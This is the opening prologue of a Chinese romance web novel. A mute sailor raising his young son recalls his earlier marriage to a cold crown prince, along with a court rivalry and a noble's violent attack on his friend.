《殿下可悔?》
1. 序章:哑巴
“爹爹,这个好吃,你也吃。”三四岁大的小娃娃,裹在厚棉袄里,短胳膊都打不过弯来,却还努力把糖面小人往上举。
抱着他的高大男人微微一笑,低头假装吃了一口,抬手打手语:[爹爹吃了,剩下的都是果儿的。]
这男人是个哑巴。
不过,果儿一点儿都不嫌自己的爹爹是哑巴,他嘿嘿一笑,把糖面小人收回来,含在嘴里很宝贝地吮:“爹爹,我明天还想吃。”
[不能天天吃糖。]
果儿不满地小小哼了一声,背靠在爹爹怀里继续吃糖。
面前暖烘烘的炭火把他的小脸蛋熏得红通通的,这是个非常漂亮的孩子,漂亮得在这破败的小木屋里显得十分突兀。
哑巴给他穿着过年新做的棉布小袄,抱着他在炭盆前烘得浑身暖暖的,才把他送到小床上哄睡,但哑巴自己却只穿着件打补丁的旧袄,果儿一睡,他灭了炭盆,就着油灯数了数手头剩下的钱。
三十六两四钱。
哑巴来来回回数了好几遍,又抬头看了看旁边小床上熟睡的果儿。
睡梦中的果儿并不知道爹爹在为钱发愁,吧唧吧唧小嘴,像是梦到了糖面小人。
哑巴轻轻叹了一口气。
果儿是个坤君,坤君天生就是读书的料,但是果儿快要四岁了,他还没能凑齐送他上学的花费。
只要半年的花费就好了,他出海一次正是半年,等到他出海回来,就又有钱给果儿续上花费了。
可是读书实在太贵,他们镇上没有读书人,只能送去几十里外的县城上私塾,除了交私塾的学费,还要买纸笔、书籍,还要吃、还要住,果儿那么小住在县城的私塾里,少不得要请李婆婆跟着去照顾,那就是两个人的开销,哑巴找人打听过,新入学的半年算开销小的,可最少也要准备四十两银。
越是小地方,读书越是贵。
哑巴又把手头的银两一一称过——三十六两四钱。
任他再数无数遍,这短了的三两六钱银子也不会凭空冒出来。
三两六钱银子可不是个小数目,在这海边小镇上,够一家三口过上一整年的了,这钱不凑够,到时候他还在海上回不了,叫果儿一个小娃娃上哪儿凑钱去?
哑巴又叹了一口气。
这时,外头窗户被人轻轻敲响,有人小声喊他:“老大,兄弟们都好了,就等你呢。”
今夜是出海商船动身的时候。
哑巴背上行囊,嘱咐了李婆婆,这才轻手轻脚走出家门。
刚刚在外头叫他的老杜凑上来:“没把果儿送去书院?你不是年前就说要送他去读书了嘛。”
[钱不够。年前去看望老孙的家里人,散了点儿钱。]
老杜抓抓脑袋,不做声了。
老孙是上一回出海时,死在海匪手里的弟兄,不过三十岁,家里还有老母亲和带着孩子的媳妇儿。老孙的爹就是十几年前死在海上的,哑巴找来照看果儿的李婆婆,男人和儿子也是相继死在了海上。在这座滨海小镇,但凡出海的男人,总是相似的结局。
哑巴是个很不错的老大,常常接济这些死去的弟兄们留下的孤儿寡母,本来是想出海的时候,留在家里的果儿能得左邻右舍照顾,没想到弟兄们看中这份仗义,都死心塌地跟着他混,这几年居然还混出了点名气,县里、州里的出海商人都花钱找他们一块儿拼船。
哑巴作为老大,出海一趟倒卖货物、收护航费,挣得当然不少,但他要接济的人太多,钱散得也快,以至于总念叨的孩子三岁送去读书,念叨到快四岁也没去成。
老杜是个大老粗,不会安慰人,想了半天,说:“也没啥,反正果儿是坤君,不读书也有的是人娶他,老大你别太执着了,我们这穷地方哪有几个能送去县城读书的。”
哑巴摇摇头:[果儿得读书。]
老杜本想再劝,可一想果儿那白生生、水灵灵的脸蛋儿,一看就知道亲娘是个大美人,说不准老大落魄前,娶的媳妇儿就是个读书人呢?
怎么着果儿也是书香门第的种,不读书岂不是浪费了天分。
于是他说:“老天保佑,这回叫咱们走个大运挣个大钱!”
——也许这回老天真开了眼,他们出海的前三个月,一路风平浪静。
三个月后,船队满载而归,回去的路是顺流路,比来时轻松多了,大家都松了一口气,开始找起了乐子。
海上航行的生活非常枯燥,一众年轻男子精力无处发泄,干什么的都有,白天游戏玩乐,晚上还要找伴儿一起过夜,商队里但凡有个样貌清秀的,晚上过夜都得提防点儿——有时候就是不清秀的,也得提防。
不过这回商队里还真有个清秀的,名叫锁儿,头一回出海,众人都盯着他呢,然而人家是是家里老娘特地拎着鸡蛋上门托付给哑巴照顾的,一到晚上就钻进哑巴屋里不出来了。
“哥,你看我换的这珊瑚,品相好么?这拿回去能卖多少钱,你帮我掌掌眼。”锁儿坐在床边的地铺上,掏出巴掌大的红珊瑚凑到哑巴跟前。
哑巴瞥了一眼:[这样的,刘掌柜收,五两一支。]
锁儿满眼放光:“五两!”
哑巴继续看手中的话本,并没被他的激动和喜悦感染。
锁儿雀跃片刻,见他不说话了,便也静下来,默默在旁瞅着他,半晌,脸颊飘上来一点儿可疑的红,小声说:“哥,其实你长得挺俊,你怎么不给果儿找个后娘?镇上的年轻乾君太少了,你又有本事,哪怕是说不了话,带着个孩子,也不愁找媳妇儿呀。”
哑巴夹着书页的手指顿了顿。
锁儿:“你看,你还识字,没事儿就在这看书,多有文化,和外边那些男人都不一样。”
哑巴把那本怪谈志异合上:[这是杂书。我没文化。睡觉。]
说完,他吹灭了床头的油灯。
黑暗中,床边的地铺传来窸窸窣窣的声响,哑巴合着眼睛躺在床上,片刻,倏然睁眼,一把抓住了那只往他腰上摸的手。
锁儿被他的敏锐吓了一跳,咬了咬嘴唇,豁出去了,往他怀里一扑。
哑巴眉头一皱,锁儿以为自己动作够快了,可没想到眼前一花,就一屁股摔在了地铺上。
锁儿摔得懵头懵脑,都没看清哑巴是怎么出的手。
这下他知道这位商队头领的厉害了,不敢再往上扑,只小声说:“哥,我、我……我愿意跟你好。你不想睡我么?外头那些人都盯着我呢,我不愿意,但要是你睡我,我不告诉我娘。”
哑巴很简单地比划几下:[你娘就你一个儿子,你要娶媳妇。]
锁儿的脸苦起来了:“我没本事,娶了媳妇我也养不活一家人的。哥,我给果儿当后娘吧?虽然我生不了孩子,但你已经有果儿了,我保证会把果儿当我的亲生儿子一样照顾。”
[大家都活得不容易,不是当了果儿
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的后娘就轻松。]
“你骗人。”锁儿说,“我听见老杜他们说话了,你挣得可多了,你还要送果儿去县城读书,你得多有钱才能送个坤君娃娃去读书啊?坤君不读书也有的是人要,你居然白花这个钱送他去县城,你还给他生炭盆呢,一百斤炭就得五钱银子,我一年都用不了五钱银子,这败家玩意儿,吃的用的都是好的……”
他叭叭叭地说话,哑巴只能比划手势,又发不出声音,登时落于下风,听他说果儿的不是,眉头紧皱。
[我送果儿去读书,是因为他本来就可以读书。果儿读书、用炭,没抢你什么,你又有什么资格对我儿子指指点点?]哑巴下了床,有力的长臂一把拎起他的衣襟,跟拎个小鸡崽儿似的,猛地把他甩到了门口。
[再胡说,就滚出去。]
锁儿摔在门口,生怕他把自己丢出去,连忙求饶:“我说错了,我说错了,哥,我不敢了。”
哑巴没搭理他,兀自回到床上。
屋里安静了好半晌,窸窸窣窣的声音再度响起,凑到了床边。
“哥,你只要让我吃饱肚子就行。”锁儿靠在床边,一点一点往男人那结实有力的胳膊靠拢,“我娘快不行了,你们家也不多我这一张嘴,只要有口吃的,你怎么弄我都行。你要是嫌我不能生,你再娶个大房,我一样伺候你们。”
他这一回出海可算看明白了,哑巴的本事比船队里任何人都要强,只要有本事,在海上就能平安,一直平安,就一直能挣钱,跟了他就有好日子过了。
他只恨不得在自己头上插根草标叫哑巴买走,为奴为婢,当牛做马也行,只要不饿死。
但任凭他怎么说,哑巴就是不为所动。
锁儿着急了,有点儿口不择言:“难道你还想着果儿的亲娘?那人不是早就抛下你们父子俩跑了吗?你还这么年轻,不会一辈子就打光棍了吧?”
哑巴终于动了,但抬手只是比了个[闭嘴。]
锁儿见他听到“果儿的亲娘”就有反应,便哼了一声:“狐狸精!”
又大着胆子去抱哑巴的脖子:“哥,你就跟我试试,好歹我年轻呢……”
哑巴的脖子上常年围着条靛蓝的细布,熟悉他的人都知道,细布遮住的是他脖子上一条长而可怖的伤疤,但是锁儿这一抱,却摸到了一块挂坠。
没等他仔细摸,哑巴猛一挥手甩开了他,可好巧不巧,那挂坠的红绳经年磨损,偏在这一刻撑不住了,被锁儿手指头一带,便倏然断裂,坠子飞了出去。
窗户透出海上的月色,锁儿只看见一抹莹绿的光一闪而过,砸向墙板,千钧一发之际,哑巴一跃而起,眨眼之间到了墙边,一把抓住了坠子。
锁儿吓傻了,结结巴巴道:“哥,我是不小心碰到的……”
话没说完,哑巴抬手一个手刀,锁儿只觉得后脖子一痛,整个人就没了意识,扑通倒在了地上。
屋里终于彻底安静了。
哑巴在床边坐下,抬起手,掌心里是那块挂坠——看得出来曾经是个平安扣,可从中间碎成了两半,哑巴手里的只是半边,可那荧绿通透的水头,还是能叫人看出它碎之前是如何价值连城。
窗前的月光下,哑巴看了它很久很久。
那些早已过去的岁月,那些华美犹如梦境的回忆,这一刻又猝不及防地袭上心头。
那个时候,哑巴还不叫哑巴。
那个时候,他叫顾砚舟。
2. 序章:殿下
五年前,先帝尚在,下旨令各大藩王送一名未婚嫡出子女进京,东南藩地事先得到消息,赶紧给恰在适婚年纪的大公子和世子殿下办了一场比武招亲大会。
按照安排,顾砚舟本该夺得魁首,迎娶大公子,可阴差阳错,大公子的心上人赶来抢亲,把他比了下去,他只得按照比武招亲大会的规矩,嫁给世子殿下做了冒牌世子妃。
世子殿下对此反应平淡,没让其他人诋毁顾砚舟,可也不见得有多待见顾砚舟——顾砚舟现在回想起来,殿下在他面前,总是神色冷淡,少有笑颜。
当然不开心了,谁娶了个五大三粗的乾君媳妇儿会开心呢?
可惜,当时的顾砚舟并不明白这个道理。
殿下给他很宽敞很豪华的院子住,给他见都没见过的好东西吃,最重要的是殿下和大公子长得有七八分像,俊美,高挑,神态从容,举止有度,都是万里挑一的大美人!
大美人肯多看自己一眼,顾砚舟就觉得与有荣焉了,更何况大美人还对他这么好,真是个心地善良的仙子!于是他像个殷勤的狗腿子,总在殿下身边忙前忙后。
殿下的好友闻敬珩就瞧不上他这狗腿模样,总对他冷嘲热讽,看他十分不顺眼。
“说你是狗皮膏药,你还不服气?”闻敬珩抱着双臂靠在圈椅中,挑了挑眉,“日日粘在殿下身上,说你是狗皮膏药,都抬举你了。”
顾砚舟觉得,他是记恨自己在比武招亲大会上击败了他,可是他们俩最终都没能迎娶大公子,两个输家,没必要互相为难呀,于是他反击:“你想粘殿下身上,还没处粘呢。”
闻敬珩被他这种不以为耻反以为荣的厚脸皮震惊了,何况顾砚舟算什么东西?怎敢如此对他说话?
他的脸色一下子比臭鸡蛋还要臭,抬手指着顾砚舟:“你、你……你一个乾君,嫁给别的乾君当媳妇儿,你还觉得很光彩么?!”
顾砚舟:“关你什么事。”
闻敬珩被他气得要失去本就不富余的贵公子风度了,就在二人将要爆发口舌大战前,世子殿下开了口:“好了。”
闻敬珩忿忿瞪了顾砚舟一眼。
顾砚舟冲他挤眼睛。
殿下瞥了他一眼,顾砚舟立刻摆正神色,虽然殿下看他的眼神总是很冷淡,但顾砚舟也期盼那冷淡的眼神能在自己身上多停留一会儿。
“你去吃饭。”祝时瑾说。
“……”顾砚舟愣了愣,“……噢。”
他转身跑出去了。殿下的亲卫昭文给他在外间叫了一桌子菜,殿下和闻敬珩每次来这酒楼吃饭,外间这桌就是顾砚舟独享,为此,闻敬珩还讥讽他是看门狗。
可是顾砚舟自己想得通,以他的身份,本来也不够格和世子殿下、和闻常侍的独子单独坐一桌吃饭,他出身平凡、举止粗鄙,现在还在王府的教习夫子那儿学规矩和礼仪呢,要是真上桌了,岂不是给殿下丢脸?
他飞快吃了饭,出去溜达一圈,又给殿下买了些小玩意儿和点心果子,在回王府的马车上,就拿出来献给殿下。
“我不吃这些,你自己吃。”祝时瑾靠着软枕,轻轻翻过一页书。
顾砚舟嘿嘿一笑:“这果子太贵了,一两银子一个,我就买了这么几个,可舍不得吃,殿下你尝尝。”
祝时瑾终于抬起眼,顾砚舟以为他肯吃了,没想到他问:“钱不够花?”
顾砚舟连忙摇头:“够花,够花。殿下,你给的那个小钱箱里居然有三千两呢,我这辈子都没见过那么多钱……我也花不了那么多钱,我自己的俸禄够花。”
“给你钱,你就花。”
顾砚舟仍是摇头:“我不用花什么钱的,给殿下花钱就行了。”
祝时瑾看着他,片刻,竟真的从他捧着的点心盘里拈了个果子,咬了一口。
“不好吃。”他面无表情,将那破了点儿皮的果子丢回盘中,“明日去买他家的白玉燕窝盏,每日两盏,送到我这儿。”
难得殿下让他干活儿,顾砚舟立马一口答应下来,结果第二天赶到铺子里一问,白玉燕窝盏二十两一盏,每日两盏,就是四十两。
顾砚舟傻了眼。
他每月的俸禄才十五两银哪!
难道答应殿下的第一天就要食言吗!
他咬咬牙,动用了自己的积蓄。
把白玉燕窝盏送去的时候,他的表情一定很肉痛,隔着小山堆一样的奏报,殿下都看出来了,多问了一句:“怎么哭丧着脸?”
“……这个好贵。”顾砚舟被自己的月俸连盏燕窝都买不起的事实给打击到了,蔫头耷脑地坐在一边。
“二十两银罢了。”祝时瑾说完,顿了顿,“……你没用钱箱里的钱?”
顾砚舟觉得在殿下跟前哭穷很是丢人,连忙说:“我、我还是有点积蓄的。”
祝时瑾像是觉得好笑:“够买几盏燕窝?”
顾砚舟简直被当头打了一闷棍,居然真的在心里算了算——只够买四五盏燕窝,好丢人!
祝时瑾将盛着燕窝的小盅推到一边:“你现在是世子妃,花钱小气,丢的是我的脸。以后不准再用自己的积蓄。”
顾砚舟被他说得满脸通红,埋着脑袋:“……噢。”
又小声为自己辩解:“那么多钱,我留着,万一殿下以后用得到呢?”
“要是真有那么一天,三千两也只是杯水车薪。”
顾砚舟立刻紧张地看他:“三千两都不够?那得留多少钱才够?”
祝时瑾继续翻阅奏报,漫不经心道:“这不是你需要操心的事。难道你会在王府待一辈子?”
顾砚舟愣住了。
半晌,他回过神来,点点头:“……噢。”
对呀,反正他不会在王府待一辈子,他给殿下省钱做什么?他省下来的这点儿小钱,又能帮上殿下什么忙呢?
顾砚舟在府衙门口的小茶摊上呆坐了一下午,最后咬咬牙,报复似的跑到拍卖行,高价拍下了一副大公子的画像,花了一百五十两银。
这副天价的画像到了他手里,他反而茫然了,他这辈子没买过这么贵的东西,这辈子也没花过不属于自己的钱,还是这样大手大脚地花。
这张画像轻飘飘的,可一百五十两银子却沉甸甸非,在他老家够一家人花用一辈子。
这就是王府的荣华富贵,这就是权贵和普通百姓的天堑之隔,这就是世子殿下和他
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之间永远都跨不过的鸿沟。
他抱着画轴发愣,好巧不巧,正碰上路过的闻敬珩,闻大公子自然要照例刁难讥讽他一番,从马车窗户探出半个身子:“我瞧瞧,我瞧瞧,狗皮膏药粘得久了,居然学会附庸风雅了,买的什么字画?”
顾砚舟掉头就走,闻敬珩反而更来劲了:“给我拦住他。脾气还挺大的嘛,我今天可还没招惹你。”
闻家的下人上前来拦,可顾砚舟是武状元出身,论身手可不会输给这些人,推来搡去,就动起了真格,一脚把两名家丁扫飞出去,过路的百姓见这边打起来,都远远绕开了。
闻敬珩皱了皱眉:“顾砚舟,你发什么疯,竟打我的下人。”
打狗且要看主人,顾砚舟动他的下人就是拂了他的脸面,至于他动顾砚舟有没有拂了殿下的脸面……殿下可没把顾砚舟当自己的狗呢。
祝时瑾被请过来的时候,两人已经打完一轮,新仇连着旧恨,身上都挂了彩,闻敬珩一见他进屋,就顶着乌青的眉角嚷起来:“把我打成这样,我今天非得叫他好看!殿下,你不能偏袒他!”
顾砚舟抱着双臂靠在一旁,横着眼睛瞪闻敬珩,像头不服气的狼犬。
祝时瑾来时已经听闻家下人说了,两个人是为了一卷画轴起了口角,便道:“不就是一幅画,也值得你们打起来。”
闻敬珩:“是画的事儿吗?!是他根本没把我放在眼里!”
祝时瑾没搭理他,目光一扫,看见了顾砚舟身旁的方几上正搁着一卷画轴,便走过去拿起来。
满脸戒备的顾砚舟像被火星子燎了,一把抓住了画轴。
祝时瑾一顿,抬眼看他。
视线相接的一刻,顾砚舟的眸光晃了晃,从戒备警惕,变成有些可怜和委屈,小声说:“殿下,不要看。”
闻敬珩在旁讥讽:“知道自己品味差,就不要附庸风雅,买了字画,还不让人看,知道丢人了?”
“好了。你还要为难他到什么时候?比武招亲大会那回,你就是赢了他,又能赢得过秦骁么?”
闻敬珩一噎,脸色黑了。
顾砚舟的脸色却好了些,祝时瑾轻轻一抽那画轴,他抿了抿嘴,松开手。
祝时瑾展开画轴——只展开了一点儿,他就微微一怔。
闻敬珩立刻凑上来看:“到底是什么画……”
可他凑上来的一瞬间,祝时瑾把画一收。
闻敬珩:“……”
“没什么。”祝时瑾云淡风轻道,“是我的画像。”
闻敬珩:“…………………………”
他难以置信地瞪着顾砚舟:“你有病啊!天天跟在殿下身边,还要买殿下的画像?!”
顾砚舟也有点儿懵——他买的是大公子的画像啊。
没等他解释,祝时瑾替他开了口:“关你什么事。”
“???”闻敬珩气绝,“你帮他说话?!你没看见他把我揍成这样?!”
“技不如人,就不要动手。”祝时瑾道,“我赔你两贴膏药?”
闻敬珩摔门而去。
顾砚舟莫名其妙走了运,这天晚上,新婚之后的第一次,殿下走进了他的院门。
3. 序章:好运
顾砚舟没什么经验,以为殿下真的只是来他院里看看他的简陋书房,挑个位置挂画像,见他书房一本书也没有,又命人送来一些简单易读的志怪话本。
等到月上梢头,顾砚舟才想起来时候不早,问:“殿下要歇息了么?”
祝时瑾合上话本:“嗯。备热水。”
“好……什么?”
“叫人备热水。”
顾砚舟脑中嗡嗡作响,稀里糊涂地洗了澡,被下人伺候着穿上薄纱寝衣,推进了屏风后。
祝时瑾就靠在床边翻书,长发披散,寝衣松散系着,露出紧实的胸膛,顾砚舟想到新婚之夜这胸膛是如何压在自己身上,脸就轰然涨红了,根本不敢看他,脑袋埋在胸口,挪到床边远远在床尾坐了半个屁股。
“歇息。”祝时瑾将书丢在床头矮柜上,不轻不重的一声响,像条小鞭子轻轻抽在顾砚舟后背上,不痛,只是痒痒的,从尾椎爬上来,半边身子都麻了。
他在床尾踌躇了半晌,才爬上床去,床帐垂下,帐中一下子暗了,他的心咚咚狂跳,安静的空气似乎都被他的心跳震得嗡嗡作响。
“……为什么买那幅画像?”半晌,祝时瑾低声道,“你肯花这么多钱,还是头一回。”
顾砚舟小声说:“只是正巧碰上在拍卖。”
“哦?”
“……画得挺好的,挺像的,比我自己画的好。”
“你还自己画过?”
“我、我画得很差。”
黑暗中,他听见殿下笑了笑,而后自己被揉了揉脑袋。
顾砚舟紧张忐忑的心忽而松了下来。
他翻了个身,面对着祝时瑾,小声说:“殿下,谢谢你今晚为我出头。我今天把闻公子揍成那样,还以为没法善了了……你来之前,闻公子叫了百来号人堵在外头。”
祝时瑾也翻过身来,看着他:“今日为何动手?平时不是都让着他么?”
顾砚舟撇了撇嘴,半晌,说:“他说我品味差。”
“……不差。”祝时瑾轻声道。
顾砚舟一愣,下一刻,祝时瑾翻身覆了上来。
要、要像新婚之夜那样了……
他一下子紧张,面红耳赤,连呼吸都乱了。殿下的呼吸也有些重,在这喘息声中,潮热、迷乱,渐渐淹没了他的理智,他想要叫,却怕被人听见,在那陌生的刺激中忍不住退缩,又被紧紧握住腰肢,动弹不得,只能咬着被角把无数丢人的声音都咽下去,眼角都激出了泪。
再次醒来已是第二日晌午,殿下早就不在,床上只剩下他,还有凌乱的被褥。昨夜的翻云覆雨像是一场梦,但他转眼一看,旁边的锦缎软枕上有浅浅的压痕。
昨夜那些又哭又叫的丢人回忆涌现,他登时满脸通红。
这莫名其妙降临的好运气,给了他莫大的勇气,他开始给殿下送亲手做的饭菜,帮殿下跑腿,只要看见什么能干的,他都第一个冲上去帮殿下干,偶尔,殿下也会笑着说:“你不用这样。”
顾砚舟抓抓脑袋:“反正我闲着也是闲着。力气花完了,睡一觉,明天又有了,所以要把力气花完才划算!”
祝时瑾望着他,忽而说:“下个月花灯节,要不要出去玩?”
顾砚舟一愣:“花灯节?”
那是宜州一月一度的灯会,有情人相约出游的时候。
“嗯。”祝时瑾像是随口一提,继续翻阅奏报。
但顾砚舟却把这事儿放在了心上,四处找同僚打听,细细写了一份花灯节游玩的路线,还特地做了一身新衣裳。
不过,在花灯节来临之前,闻敬珩的生日宴先到了。
闻大公子的请帖早早送到王府,并且很识趣地一并邀请了顾砚舟,顾砚舟只好忍着肉痛给他备了一份礼,但是当天殿下议事耽搁了些时候,他就先到了闻府,送了礼,自个儿找了个凉快地方待着,却碰上了闻敬珩族中的坤君堂弟,闻嘉言。
这个名字,顾砚舟听发小谢铮提过一次,说是榜下捉婿时,恰被闻老爷捉了去,定亲的未婚妻就叫这个名字。
本以为是好友的未婚妻,怎么也要打个招呼说几句话,没想到闻嘉言一听他的名字,上下扫了他一眼,轻蔑之意溢于言表:“果然同个乡里出来的,一个比一个会攀高枝。”
顾砚舟皱起眉:“你怎么能这么说话。”
“我说的不对?你们这些癞蛤蟆,我多瞧一眼都嫌脏。”闻嘉言冷笑,“去告诉谢铮,再不退婚,我有的是办法整他。”
顾砚舟的脸色冷了下来:“近年来藩地重寒门弱世家,谢铮是新科状元,你虽出身闻家,却只是经商的旁支,谢铮配你绰绰有余!”
这下可正踩中闻嘉言的痛脚,他勃然大怒:“你敢羞辱我!”
顾砚舟不欲与他纠缠,转身就走,可闻嘉言的下人极其机灵,上来就把他拎着的食盒抢了,那里头正是刚刚给殿下买的白玉燕窝,二十两银呢!
顾砚舟立刻返身要抢回来,闻嘉言见他在乎这东西,便叫人拦住他,自己打开食盒。
“我当是什么,一碗燕窝。”他面露鄙夷,一口唾沫吐在了燕窝里,顾砚舟从没见过如此厚颜无耻的坤君,肺都气炸了:“你!你往我的燕窝里吐口水?!”
“穷酸。一盏燕窝,我赔给你就是了。”闻嘉言嘁了一声,从怀里摸出个银锭,正正砸在顾砚舟脸上,“怎么样?够不够?”
顾砚舟的拳头拧得咯吱咯吱响,就在这时,外头响起闻敬珩的声音:“出什么事儿了?这么吵。”
顾砚舟回头一看,殿下竟然也到了,他下意识想告状,可又想到这儿毕竟是闻家的地盘,闹得太过分,殿下面子上也不好看,于是强行忍住,憋得脸都红了。
祝时瑾的目光落在那盏白玉燕窝上。
他道:“怎么回事?”
顾砚舟刚要说话,闻嘉言语气一变,笑眯眯道:“没什么,我和世子妃初次见面,很是投缘。世子妃,多谢你送的燕窝。”
顾砚舟:“???”
他瞪得眼睛都要脱窗,眼睁睁看着闻嘉言给他抛了个媚眼儿,走了,转头茫然对上殿下的视线,殿下的笑容莫名有些冷:“人都走了,还看不够?”
顾砚舟莫名其妙得到的运气,也就这样莫名其妙地消散了。
一开始他没反应过来,还傻乎乎地给殿下送饭菜、跑腿,可是有一回送完饭菜再折返,正巧看见昭文把他送去的饭菜端出来倒掉。
被他撞了个正着,昭文有些尴尬,说:“世子妃,殿下早说过不必再送,只是我怕你听了不舒
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服,一直没告诉你。”
顾砚舟看着那些倒在泔水桶里的,自己亲手准备的菜肴,就好像一颗心也被丢进泔水桶里泡了似的,酸酸的,也很丢人。
“没事。”他小声说,“那,殿下最近有空去我那儿么?”
“殿下最近很忙。”
顾砚舟咬了咬嘴唇:“那……花灯节呢?殿下答应过……”
“……殿下最近很忙。”
忙到,甚至没有时间亲自来拒绝他。
顾砚舟心口本就只有一株微弱的小火苗,好不容易燃得旺盛了点儿,这下被哗啦一声浇灭了。
他茫然地往前走,王府所有人都井井有条、训练有素,有条不紊做着自己的活计,唯独他是个横插进来的外人,不知道自己该干什么,也无法心安理得地混吃等死,殿下一走,就没有人管他,没有人教他了。
浑浑噩噩过了不知多久,某一日却在上卯路上被谢铮的书童拦下来,哭着拉着他的袖子:“公子被闻家那位坤君公子绑走了!一天一夜没消息了!”
一声闷雷炸响,顾砚舟一个激灵清醒过来,当日闻嘉言放的狠话犹在耳边。
“再不退婚,我有的是办法整他!”
顾砚舟在宜州就只有这么一个至交好友,登时心急如焚,不管不顾冲到闻敬珩那儿大闹,叫他堂弟把人交出来。
闻敬珩一边和他对骂一边吩咐人去找,最后在城外闻家的一处庄子找到谢铮,人还活着,但断了一条腿。
众人面色都变了,顾砚舟当场就要动手,十来个人冲上来拦他,才没叫他一拳把闻嘉言揍飞出去。
赶来的闻老爷听此噩耗,差点儿没昏过去,抬手一巴掌把闻嘉言扇得口鼻出血:“逆子!爹好不容易才给你找到这么一个好郎君!你以为你这名声,在宜州城里还有别人肯要你吗?!”
又转头同顾砚舟道歉:“对不住,实在对不住,大夫可给状元郎接好腿了?放心,小老儿一定找最好的名医,后半辈子都派下人来照顾状元郎。”
顾砚舟双目猩红:“就这一句道歉,换他下半辈子跛腿?!给你你换不换?!”
闻老爷皱了皱眉:“中了状元才跛腿的,也还是能做官的,他又不是武将嘛。小老儿许诺的那座宅子依然作数,如何?”
顾砚舟抬手一指闻嘉言:“我要他也断一条腿!这样才叫赔偿!”
一旁的闻敬珩也开口了:“好了,顾砚舟,别闹了。”
“我凭什么不闹?他断了人一条腿,难道不用付出一点代价吗?!”
闻敬珩皱了皱眉:“事已至此,还能有什么办法?你以为都要一命换一命才叫报仇雪恨?今天要是嘉言真断了一条腿,你以为闻家不会追究?你以为谢公子以后的仕途会一帆风顺?”
岂料顾砚舟置若罔闻,趁他说话,腾地飞身而起,直扑闻嘉言!
闻敬珩简直焦头烂额,不得不亲自出手拦住他,被顾砚舟没轻没重踹了好几脚,怒道:“够了!你们还不快来帮忙!”
闻家的侍从家丁呼啦啦涌上来帮忙,十几个人齐力将顾砚舟狠狠按在了地上。
顾砚舟被按住依然疯狂反击,在泥地里厮打得浑身狼狈,就在这时,门口响起一道清越冷淡的声音。
“怎么回事?”
4. 序章:玉佩
阴沉的天空淅淅沥沥下起小雨,雨点啪嗒啪嗒落在顾砚舟脸颊,他被狠狠按在泥水里,忽而失去了力气。
反抗有什么用呢?
天下从来都是权贵的天下,他们低人一等,就得任人宰割。
一双皂靴在他跟前停下,油纸伞挡住了落下的雨点,可顾砚舟只认命地伏在泥水中,头也不抬,一动不动。
为祝时瑾撑伞的昭文先开了口:“还不松手?!谁给你们的胆子,竟对世子妃动手?!”
按着顾砚舟的众人这才惶恐退下,紧紧压在背上的力量松了,他猛地咳嗽了两声,被两名王府亲兵扶起,扶到殿下身旁。
殿下的视线跟着他,目光在他脸上停留片刻,他知道这会儿自己很狼狈,鼻青脸肿,满身泥水,那死了的心居然还是能感觉到丢人,他撇过了脸,不让殿下看。
闻敬珩及时走过来,低声同殿下解释此间的情况,不得不说,闻大公子比他灵活聪明多了,三两句话把这事儿划为了一桩未婚夫妻间的纠纷,请殿下让他们关起门来自行处理。
“是否让你们自行处理,要看苦主愿不愿意。”祝时瑾看着顾砚舟,“谢公子现下昏迷,你是他的好友,你说呢?”
顾砚舟抿了抿嘴,抬起头来,眼中是破釜沉舟般的怒火。
一向不把他放在眼里的闻敬珩,这会儿看他的眼神难得带了些好商量的意味。
可他不肯商量。
他们都把他顾砚舟当傻子,以为他从穷乡僻壤来到宜州,就土气又窝囊、好骗好欺负,他今天偏偏要叫他们知道,他一点儿也不比他们蠢笨,平素退避三舍只为自保,今日惹毛了他,他会让他们全都不好过!
“如果是夫妻家事,我等插不了手。可未婚夫妻算夫妻么?”顾砚舟一字一顿道,“要么,让闻嘉言现在就嫁给谢铮,后半辈子和谢铮一起过,要么,按照民袭官的律法处置!”
民袭官,轻者杖责,重者死罪,闻敬珩脸色一变,闻老爷在旁叫了一声:“这怎么行呢?殿下,我儿罪不至此啊!”
顾砚舟道:“谢铮寒窗苦读,高中状元,现下是东南府署的可用之才,闻嘉言一介白身,竟敢打断府署官员的腿,要是这样都不严惩,叫其他寒门官员如何作想?!继续放纵,来日他岂不是敢袭击殿下的车驾了?!”
闻敬珩像是今日第一次认识他一样,闻老爷也噎住了,嗫嚅道:“话不能这么说。谢公子只是断了一条腿,还能治好,我儿要是定了死罪,可就救不回来了!”
闻敬珩打断了叔父的话,朝祝时瑾一拱手:“殿下,闻家百年基业,断不会做出逾越礼制、自断前程的事。此次的确是嘉言鲁莽,酿成大祸,但好在谢公子性命无虞,我会将谢公子接到闻家本家医治,府署给他的任命下来后,如有任何履职不便,闻家都会为他解决。待他伤愈,叔父和嘉言再向他亲自道歉,商议赔偿。请您定夺。”
闻老爷在旁附和:“是是,敬珩说的是。”
“所以,你们既不想让闻嘉言被定罪,也不打算继续履行婚约了?”顾砚舟嗤笑一声,“刚刚还说什么未婚夫妻自家纠纷,怎么,看谢铮现在跛了腿,你们就想悔婚了?”
气氛剑拔弩张,片刻,祝时瑾开了口:“此时悔婚,实属不义。”
闻敬珩和闻老爷的脸色都变了。
“闻嘉言杖责十五,拘于静庵,待谢公子伤势痊愈,再议赔偿。”祝时瑾道,“就这么办。”
话音一落,王府亲兵应声而动,推开护卫的闻家家丁,将闻嘉言一把拖出来,押着就往外走,闻嘉言此时才惊觉堂哥和父亲护不了自己了,吓得叫起来:“珩哥哥!爹爹!”
杖责十五,对坤君而言也去了半条命了,闻老爷肝胆俱碎,但不敢忤逆殿下的决定,只能一边抹泪一边往上追:“官爷,官爷轻点儿啊,我儿从小养得娇惯,挨不了几下板子的……”
恶有恶报。他做到了。
顾砚舟骤然松了一口气,仿佛一下子活了过来。
他抚着胸口,走到一旁去看谢铮的伤势。谢铮依然昏迷着,大夫已经大概将伤腿接上,包扎完毕,只是以后能恢复到什么地步,就要看能不能再找名医进行第二次、第三次的医治和处理了。
明明上一次见面还是个安然无恙、能走能跳的俊朗郎君,这一回就昏迷不醒断了条腿,不知道谢铮自己醒来该如何接受这个事实?顾砚舟心情沉重。
“殿下,我这就将谢公子带回去诊治。”闻敬珩走过来,神色复杂地看了顾砚舟一眼,但没说什么,只指挥着下人,把谢铮轻手轻脚抬上了马车。
众人都散去了,顾砚舟有些茫然,在雨中呆立半晌,才慢慢走出院门,殿下的马车就停在门口。
“世子妃,上车罢。”昭文撑着纸伞,遮在他头顶,“殿下在等你。”
那种酸酸的感觉又来了,他的心好像又被泡在泔水桶里了,明明这次没有人倒掉他的饭菜。
